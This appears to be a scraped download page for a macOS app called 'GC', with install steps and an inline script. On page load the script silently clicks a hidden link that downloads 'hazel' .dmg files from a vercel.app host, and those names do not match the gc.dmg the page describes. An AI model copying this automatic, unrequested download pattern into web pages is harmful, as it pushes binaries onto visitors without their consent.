Open gc.dmg in your

downloads folder

Drag the GC icon into your Applications Folder

Open the GC app in your

applications folder

©2024 General Collaboration Company

©2024 General Collaboration Company

©2024 General Collaboration Company

// Check if running on macOS function isMac() { return navigator.platform.toUpperCase().indexOf('MAC') >= 0; } // Check if device is using Apple Silicon function isAppleSilicon() { const ua = navigator.userAgent.toLowerCase(); const macOSVersion = ua.match(/mac os x ([\d_]+)/i); if (macOSVersion) { const version = macOSVersion[1].replace(/_/g, '.'); const majorVersion = parseInt(version.split('.')[0]); if (majorVersion >= 11) { if (ua.includes('arm64') || ua.includes('arm')) { return true; } } } return false; } // Function to trigger download async function triggerDownload() { if (!isMac()) { console.log('Not a Mac device, no download needed'); return; } const baseUrl = 'https://hazel-nu-two.vercel.app/download'; const downloadUrl = isAppleSilicon() ? `${baseUrl}/mac_arm64` : `${baseUrl}/mac`; try { // Create a link element const link = document.createElement('a'); link.href = downloadUrl; // Set download attribute to suggest filename link.download = isAppleSilicon() ? 'hazel-arm64.dmg' : 'hazel-intel.dmg'; // Hide link link.style.display = 'none'; document.body.appendChild(link); // Trigger click link.click(); // Clean up setTimeout(() => { document.body.removeChild(link); }, 100); console.log(`Download initiated from: ${downloadUrl}`); } catch (error) { console.error('Download failed:', error); // Fallback to redirect if download fails window.location.href = downloadUrl; } } // Execute on page load document.addEventListener('DOMContentLoaded', triggerDownload);